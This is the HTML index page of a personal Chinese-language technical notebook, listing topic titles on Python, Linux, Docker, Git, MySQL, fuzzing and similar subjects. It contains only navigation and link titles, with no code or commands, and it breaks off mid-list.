for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python\" class=\"md-nav__link\">\n    Python\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python_1\" class=\"md-nav__link\">\n    Python程序设计课程\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#gist-python\" class=\"md-nav__link\">\n    gist Python一些常用的代码片段\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash\" class=\"md-nav__link\">\n    BASH\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bat\" class=\"md-nav__link\">\n    BAT 批处理\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bitcoin\" class=\"md-nav__link\">\n    Bitcoin\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#c\" class=\"md-nav__link\">\n    C 语言\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#cdn\" class=\"md-nav__link\">\n    CDN\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#curl\" class=\"md-nav__link\">\n    cURL\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#developer\" class=\"md-nav__link\">\n    Developer\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#docker\" class=\"md-nav__link\">\n    Docker\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#eth\" class=\"md-nav__link\">\n    ETH\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#favorites\" class=\"md-nav__link\">\n    Favorites\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#flask\" class=\"md-nav__link\">\n    Flask\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#fuzzing\" class=\"md-nav__link\">\n    Fuzzing\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Fuzzing\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#dataflow-sanitizer\" class=\"md-nav__link\">\n    DataFlow Sanitizer\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#git\" class=\"md-nav__link\">\n    Git\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#github-project-recommendation\" class=\"md-nav__link\">\n    Github Project Recommendation\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#java\" class=\"md-nav__link\">\n    Java\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#javascript\" class=\"md-nav__link\">\n    JavaScript\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#jekyll\" class=\"md-nav__link\">\n    Jekyll\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#linux-setup\" class=\"md-nav__link\">\n    Linux-setup\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#linux-ssh\" class=\"md-nav__link\">\n    Linux-SSH\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#linux-cli\" class=\"md-nav__link\">\n    Linux-cli\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#linux-backup\" class=\"md-nav__link\">\n    Linux-backup\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mysql\" class=\"md-nav__link\">\n    MySQL\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nginx\" class=\"md-nav__link\">\n    Nginx\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#php\" class=\"md-nav__link\">\n    PHP\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rabbitmq\" class=\"md-nav__link\">\n    RabbitMQ\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntu\" class=\"md-nav__link\">\n    Ubuntu桌面版\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#virtualbox\" class=\"md-nav__link\">\n    VirtualBox\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#winsoftware\" class=\"md-nav__link\">\n    WinSoftware\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"zjuchenyuans-notebook\">zjuchenyuan&rsquo;s Notebook<a class=\"headerlink\" href=\"#zjuchenyuans-notebook\" title=\"Permanent link\">&para;</a></h1>\n<p>My notebook about technology, for lookup and share</p>\n<p>查看内容 请点击Topic标题（如<a href=\"Docker/\">Docker</a>）进入页面后使用右侧目录定位</p>\n<p>评论请使用: <a href=\"https://github.com/zjuchenyuan/notebook/issues/1\">Github Issue</a></p>\n<p><a href=\"https://github.com/zjuchenyuan/notebook/commit/HEAD\">查看最近的更新</a></p>\n<h2 id=\"python\"><a href=\"Python/\">Python</a><a class=\"headerlink\" href=\"#python\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li><a href=\"https://py3.io/doc/python/quickstart.html\">语言勾勒QuickStart</a></li>\n<li>安装pip</li>\n<li>设置pip源</li>\n<li>requests使用多IP请求</li>\n<li><a href=\"code/MultiThread_Template.py\">Python多线程模板</a></li>\n<li>http.server（BaseHTTPServer）并发性改善 不必修改库文件</li>\n<li>中文输出乱码问题解决</li>\n<li>pycodestyle检查代码风格</li>\n<li>生成随机字符串</li>\n<li>别对大的list循环使用in，应该改用set</li>\n<li>解决Python.h: No such file or directory</li>\n<li>二进制字符串转普通字符串</li>\n<li>十六进制字符串转bytes字符串</li>\n<li>用requests进行post</li>\n<li>符号数与无符号数转换</li>\n<li>使用signal.SIGALRM在限定时间后退出进程</li>\n<li>捕捉用户的Ctrl+C</li>\n<li>使用signal.SIGALRM实现定时器</li>\n<li>使用pdb进行调试</li>\n<li>使用Python开发阿里云函数计算后端服务</li>\n<li>修复gbk编码的文件名</li>\n<li>Crack RSA! 破解短长度密钥的RSA加密</li>\n<li>时间戳与字符串相互转换</li>\n<li>用redis存储字典</li>\n<li>python selenium+Docker chrome headless爬复杂网页</li>\n<li>python transmissionrpc 上传种子 获取状态 增加tracker 修改torrent文件中的tracker</li>\n<li>uwsgi优雅重启</li>\n<li>Python3.5 open打开文件默认使用utf-8</li>\n<li>使用sentry</li>\n<li>解决命令行执行py文件没有sys.argv的问题</li>\n<li>Python获取Windows Chrome的Cookie</li>\n<li>Win开发摆脱每次都要写的encoding=utf-8</li>\n<li>Ubuntu16.04安装Python3.7</li>\n<li>Python使用MongoDB 增删查改 批量覆盖插入 多表join 随机采样</li>\n</ul>\n</blockquote>\n<h2 id=\"python_1\"><a href=\"PythonCourse/\">Python程序设计课程</a><a class=\"headerlink\" href=\"#python_1\" title=\"Permanent link\">&para;</a></h2>\n<p>作业的常见错误，期末复习</p>\n<h2 id=\"gist-python\"><a href=\"gist/\">gist Python一些常用的代码片段</a><a class=\"headerlink\" href=\"#gist-python\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>连接mysql插入、查询</li>\n<li>大小写不敏感字典</li>\n<li>print的时候顺带带上时间</li>\n<li>mpms多线程下每个线程单独变量</li>\n<li>使用AES加密字符串 pyaes库</li>\n</ul>\n</blockquote>\n<h2 id=\"bash\"><a href=\"BASH/\">BASH</a><a class=\"headerlink\" href=\"#bash\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>在bash脚本中使用alias</li>\n<li>判断命令行参数是否为空</li>\n<li>for循环</li>\n<li>判断命令、文件是否存在</li>\n<li>rsync移动远程目录特定文件至本机后循环操作</li>\n</ul>\n</blockquote>\n<h2 id=\"bat\"><a href=\"BAT/\">BAT 批处理</a><a class=\"headerlink\" href=\"#bat\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>快速打开cmd</li>\n<li>并列语句语法</li>\n<li>循环for</li>\n<li>结束进程taskkill</li>\n<li>内存整理free</li>\n<li>睡一会SleepX</li>\n<li>判断文件夹存在</li>\n<li>创建硬链接mklink或者fsutil hardlink create</li>\n<li>端口转发</li>\n<li><a href=\"code/RVPNKeepAlive.bat\">保持RVPN不断开</a></li>\n<li>vpn静态路由配置</li>\n<li>进入休眠</li>\n<li>快速进入系统代理设置，不用打开IE</li>\n<li>在普通权限cmd中获得更高权限</li>\n<li>命令行配置IP</li>\n<li>命令行使用VeraCrypt</li>\n<li>命令行临时关闭Windows Defender</li>\n<li>命令行增加Windows防火墙规则阻断IP</li>\n</ul>\n</blockquote>\n<h2 id=\"bitcoin\"><a href=\"Bitcoin/\">Bitcoin</a><a class=\"headerlink\" href=\"#bitcoin\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>期货永续合约介绍</li>\n<li>永续合约资金费率套利 实时收益率</li>\n</ul>\n</blockquote>\n<h2 id=\"c\"><a href=\"C/\">C 语言</a><a class=\"headerlink\" href=\"#c\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>关于Dev C++</li>\n<li>输入的问题，建议用gets和sscanf</li>\n<li>C++用sstream代替sprintf</li>\n<li>g++省略拷贝构造函数的问题</li>\n<li>[数据结构]树的遍历</li>\n<li>对一个const的vector使用迭代器要用const_iterator</li>\n<li>小心未初始化的变量</li>\n<li>获取文件大小</li>\n<li>题目解析 (结构指针、结构数组&hellip;)</li>\n</ul>\n</blockquote>\n<h2 id=\"cdn\"><a href=\"CDN/\">CDN</a><a class=\"headerlink\" href=\"#cdn\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>·UPYUN 又拍云</li>\n<li>管理文件可以用FTP，UpyunManager，Upx</li>\n<li>python规则刷新，python调用官方API进行URL刷新</li>\n<li>使用upyun提供的webp功能节省流量</li>\n<li>使用边缘规则修复改版导致的404问题</li>\n<li>使用边缘规则实现upyun TOKEN反盗链功能</li>\n<li>https证书更新的自动化脚本</li>\n<li>表单上传bash快速调用</li>\n<li>·Qiniu 七牛</li>\n<li>使用qshell上传文件夹</li>\n<li>本地DNS不靠谱？用HTTP DNS访问正确的CDN节点</li>\n<li>UPYUN省钱方案：缓存61秒 变为静态请求 </li>\n</ul>\n</blockquote>\n<h2 id=\"curl\"><a href=\"cURL/\">cURL</a><a class=\"headerlink\" href=\"#curl\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>模拟浏览器请求</li>\n<li>基本教程</li>\n<li>还可以循环哟</li>\n<li>wget在0b/s时自动重连</li>\n</ul>\n</blockquote>\n<h2 id=\"developer\"><a href=\"Developer/\">Developer</a><a class=\"headerlink\" href=\"#developer\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>保持技术精进</li>\n<li>如何明智地向程序员提问</li>\n<li>使用chrome缓存找到被删的qq空间的图片</li>\n<li>为什么我喜欢写博客？</li>\n<li>支持被at的(outgoing)钉钉机器人</li>\n<li>Go语言-安装 安装缺失库</li>\n</ul>\n</blockquote>\n<h2 id=\"docker\"><a href=\"Docker/\">Docker</a><a class=\"headerlink\" href=\"#docker\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>myubuntu 基础镜像</li>\n<li>安装</li>\n<li>加速镜像下载</li>\n<li>旧版本卸载</li>\n<li>获得容器的ip</li>\n<li>导入导出容器</li>\n<li>解决iptables failed问题</li>\n<li>迁移Docker文件夹到其他硬盘</li>\n<li>解决debian等容器没有ifconfig的问题</li>\n<li>设置容器低权限用户运行</li>\n<li>设置容器/etc/resolv.conf和/etc/hosts</li>\n<li>容器限制参数设置</li>\n<li>快速部署ftp</li>\n<li>快速部署wordpress</li>\n<li>Dockerfile 中的 apt-get 静默执行</li>\n<li>让Docker容器得到内网IP</li>\n<li>使用iptables端口转发让Docker容器得到内网IP</li>\n<li>快速部署samba</li>\n<li>[CTF]按需分配容器 过期自动销毁</li>\n<li>在容器A中使用别名访问容器B</li>\n<li>修复Docker更新到18.02后部分容器无法start的问题</li>\n<li>解决docker exec -it进入容器屏幕大小不对的问题</li>\n<li>启动另一个Docker Daemon进程</li>\n<li>配置使用Docker版本的Gitlab CI</li>\n<li>为已经存在的容器创建临时端口映射 socat</li>\n<li>运行中的容器添加目录挂载</li>\n<li>Docker使用32位镜像</li>\n<li>修改Docker底层文件修改macvlan变更网段</li>\n<li>获取2个月前退出的容器列表，以空格分隔</li>\n<li>nsenter进入容器检查网络</li>\n<li>从/var/lib/docker提取容器开始时间</li>\n<li>固定容器的IP</li>\n<li>Docker容器禁止主动联网 但对外提供web服务</li>\n<li>私有registry的api</li>\n</ul>\n</blockquote>\n<h2 id=\"eth\"><a href=\"ETH/\">ETH</a><a class=\"headerlink\" href=\"#eth\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>获取测试网络ropsten的ETH</li>\n<li>生成一堆与MetaMask兼容的地址</li>\n<li>Python发起交易(Web3.py)</li>\n<li>地址交易查询API</li>\n</ul>\n</blockquote>\n<h2 id=\"favorites\"><a href=\"Favorites/\">Favorites</a><a class=\"headerlink\" href=\"#favorites\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>Intel i386 手册 及 勘误</li>\n<li>ASCII字符图案生成</li>\n<li>解释Shell命令每个参数</li>\n<li>安全会议的排名 建议读的论文</li>\n<li><a href=\"Links/\">More Links</a></li>\n<li>Git Emoji</li>\n</ul>\n</blockquote>\n<h2 id=\"flask\"><a href=\"Flask/\">Flask</a><a class=\"headerlink\" href=\"#flask\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>应用根目录APP_ROOT</li>\n<li>render_template引入所有全局变量+局部变量</li>\n<li>添加多个静态目录</li>\n<li>判断是否手机访问 g.isphone</li>\n<li>request怎么拿到url的各个部分</li>\n<li>遇到性能瓶颈做profiling看函数耗时</li>\n<li>lazyload 延迟加载耗时的初始化操作</li>\n<li>让app.run启动的服务器使用HTTP/1.1</li>\n<li>让render_template直接能使用当前所有变量</li>\n</ul>\n</blockquote>\n<h2 id=\"fuzzing\">Fuzzing<a class=\"headerlink\" href=\"#fuzzing\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"dataflow-sanitizer\"><a href=\"dfsan/\">DataFlow Sanitizer</a><a class=\"headerlink\" href=\"#dataflow-sanitizer\" title=\"Permanent link\">&para;</a></h3>\n<blockquote>\n<ul>\n<li>Compiling Exiv2 with DFSan (including compile libcxx)</li>\n</ul>\n</blockquote>\n<h2 id=\"git\"><a href=\"Git/\">Git</a><a class=\"headerlink\" href=\"#git\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>立即使用</li>\n<li>git clone加速 &ndash;depth 1</li>\n<li><a href=\"code/ssgit.txt\">git push加速</a></li>\n<li>git push免密码</li>\n<li>bash工作环境(别名,自动完成,dirty提示)设置</li>\n<li>好玩的命令们</li>\n<li>gitignore负向选择</li>\n<li>补上commit漏掉的文件 &ndash;amend</li>\n<li>密码泄露查作者 blame</li>\n<li>文件一次性改太多了，拆成多次提交 add -p</li>\n<li>本地忽略一些个人的修改</li>\n<li>本地创建branch后push操作git push -u</li>\n<li>用gpg给git提交签名</li>\n<li>使用GitLab API存储数据备份文件 不占用本地空间</li>\n<li>GitHub不同仓库使用不同ssh key</li>\n<li>备份GitHub上自己star过的仓库</li>\n</ul>\n</blockquote>\n<h2 id=\"github-project-recommendation\"><a href=\"GithubProjectRecommendation/\">Github Project Recommendation</a><a class=\"headerlink\" href=\"#github-project-recommendation\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>视频下载you-get</li>\n<li>记忆手段Anki</li>\n<li>在线评测OnlineJudge</li>\n<li>Python也能用来解方程sympy</li>\n<li>让网站链接秒开InstantClick</li>\n</ul>\n</blockquote>\n<h2 id=\"java\"><a href=\"Java/\">Java</a><a class=\"headerlink\" href=\"#java\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>一些Java与C++的不同之处</li>\n<li>异常处理中的资源释放问题</li>\n<li>JVM启动时的内存参数</li>\n<li><a href=\"S2-045/\">修复Struts2的S2-045漏洞</a></li>\n</ul>\n</blockquote>\n<h2 id=\"javascript\"><a href=\"JavaScript/\">JavaScript</a><a class=\"headerlink\" href=\"#javascript\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>使用本地存储localStorage</li>\n<li><a href=\"http://py3.io/p.html\">随机字符串生成</a></li>\n<li>异常</li>\n<li>使用phantomjs爬取网页</li>\n<li>jQuery绑定&rdquo;变为可见&rdquo;事件</li>\n<li>读取GET参数</li>\n<li>使用 Github Issue 作为博客评论区</li>\n<li>history.replaceState修改历史记录</li>\n<li>记住一个checkbox的状态</li>\n<li>使用InstantClick踩坑</li>\n<li>用原生Javascript操作DOM节点</li>\n<li>劫持动态图片加载 修改src属性</li>\n<li>保持特定元素相对于窗口的位置不变</li>\n<li>Tampermonkey自动填充用户名密码表单，并通过前端的表单检查</li>\n<li>使用browserify将npm包打包成浏览器能用的js文件</li>\n</ul>\n</blockquote>\n<h2 id=\"jekyll\"><a href=\"Jekyll/\">Jekyll</a><a class=\"headerlink\" href=\"#jekyll\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>碰到过的坑</li>\n<li>配置代码高亮并显示行号</li>\n<li>解决Github Metadata Warning</li>\n<li>安装Jekyll</li>\n</ul>\n</blockquote>\n<h2 id=\"linux-setup\"><a href=\"Linux-setup/\">Linux-setup</a><a class=\"headerlink\" href=\"#linux-setup\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li><a href=\"code/ssprivoxy.txt\">网络加速privoxy</a></li>\n<li>配置有线静态IP</li>\n<li>使用ifconfig修改ip后记得要重新配route</li>\n<li>配置apt源以加速国内环境下apt速度</li>\n<li>单网卡获得多个IP</li>\n<li>锐速安装</li>\n<li>解决apt依赖问题</li>\n<li>UnixBench性能评测</li>\n<li>清除内存缓存</li>\n<li>使用iptables封ip</li>\n<li>iptables只允许特定IP访问某端口</li>\n<li>无root权限使用screen</li>\n<li>screen的用法</li>\n<li>两条iptables实现端口转发，暴露内网端口</li>\n<li>保护重要系统文件防止被删chattr +i</li>\n<li>时区设置</li>\n<li>查看CPU核心个数</li>\n<li>非交互式添加用户</li>\n<li>简单OpenVPN配置</li>\n<li>时区时间设置</li>\n<li>快速地格式化大分区ext4</li>\n<li>明明还有大量空间却说没有？inode满了！挂载单个文件为btrfs分区</li>\n<li>扩容上述单文件btrfs磁盘 /dev/loop0扩容</li>\n<li>安全地拔出移动硬盘</li>\n<li>挂载多个vmdk中的LVM分区</li>\n<li>启用rc.local</li>\n</ul>\n</blockquote>\n<h2 id=\"linux-ssh\"><a href=\"Linux-SSH/\">Linux-SSH</a><a class=\"headerlink\" href=\"#linux-ssh\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>客户端不同服务器使用不同的id_rsa</li>\n<li>换个端口开启一个临时的sshd</li>\n<li>ssh反向代理</li>\n<li>启用SSH密钥登录后两步验证</li>\n<li>ssh登录禁用默认的信息显示 Ubuntu</li>\n</ul>\n</blockquote>\n<h2 id=\"linux-cli\"><a href=\"Linux-cli/\">Linux-cli</a><a class=\"headerlink\" href=\"#linux-cli\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>查看内置命令的帮助</li>\n<li>grep搜索帮助文档</li>\n<li>帮助文本的grep 用2&gt;&amp;1</li>\n<li>各种解压命令</li>\n<li>当前目录文件全文搜索</li>\n<li>统计当前文件夹代码行数</li>\n<li>查看给定文件列表的文件大小</li>\n<li>wget慢慢下载</li>\n<li>touch修改时间戳</li>\n<li>去掉Ubuntu默认情况下ls的颜色</li>\n<li>换行方式修改</li>\n<li>iodine&ndash;使用DNS传输数据</li>\n<li>远程控制Windows</li>\n<li>统计以特定字符串开头的文件数目</li>\n<li>hexdump查看字符内部编码</li>\n<li>子目录大小排序</li>\n<li>安装ffmpeg</li>\n<li>修改readonly的变量</li>\n<li>永久等待 sleep infinity</li>\n<li>zmap扫描整个网段特定开放端口</li>\n<li>对ip列表批量测试redis未授权漏洞</li>\n<li>使用ImageMagick对图像进行裁剪</li>\n<li>查找0字节的文件并删除</li>\n<li>用vim去除\\r换行符 :set ff=unix</li>\n<li>watch持续观察命令输出</li>\n<li>树莓派2上编译Truecrypt 7.1a，使用make -j5 -l4加速编译</li>\n<li>scp目录断点续传</li>\n<li>使用wget代替scp传输文件夹 避免无谓的加密性能损失（适用于树莓派）</li>\n<li>清除已经断开的sshd进程</li>\n<li>批量替换文本</li>\n<li>从二进制文件中提取片段</li>\n<li>redis匹配前缀删除大量键值</li>\n<li>批量替换子目录特定后缀名文件内容</li>\n<li>coredump in fuzzing</li>\n<li>bash对文件乱序遍历</li>\n<li>grep正则提取特定内容</li>\n<li>自动kill大内存的进程</li>\n<li>screen自动操作以及获取当前屏幕内容</li>\n<li>gdb自动化</li>\n<li>mktorrent制作种子torrent文件</li>\n</ul>\n</blockquote>\n<h2 id=\"linux-backup\"><a href=\"Linux-backup/\">Linux-backup</a><a class=\"headerlink\" href=\"#linux-backup\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>一个良好安全的备份计划至关重要</li>\n<li>用rsync代替scp</li>\n<li>使用rsync像time machine一样全盘备份</li>\n<li>rsync备份安卓手机</li>\n</ul>\n</blockquote>\n<h2 id=\"mysql\"><a href=\"MySQL/\">MySQL</a><a class=\"headerlink\" href=\"#mysql\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<ul>\n<li>查看表结构 desc</li>\n<li>MERGE存储引擎</li>\n<li>删除表的冗余</li>\n<li>修改表 alter table</li>\n<li><a href=\"code/pinyin.sql\">将中文转为拼音的函数</a></li>\n<li>从路径URL获取文件名称</li>\n<li>查询优化&ndash;explain发现出现了using filesort；内存表索引的选择</li>\n<li>内存表The table is full的解决</li>\n<li>replace函数替换文本</li>\n<li>简单的split功能，文本转数字</li>\n<li>mysqld配置参数调优</li>\n<li>支持emoji，从utf8升级到utf8mb4</li>\n<li>解决 Too many open files 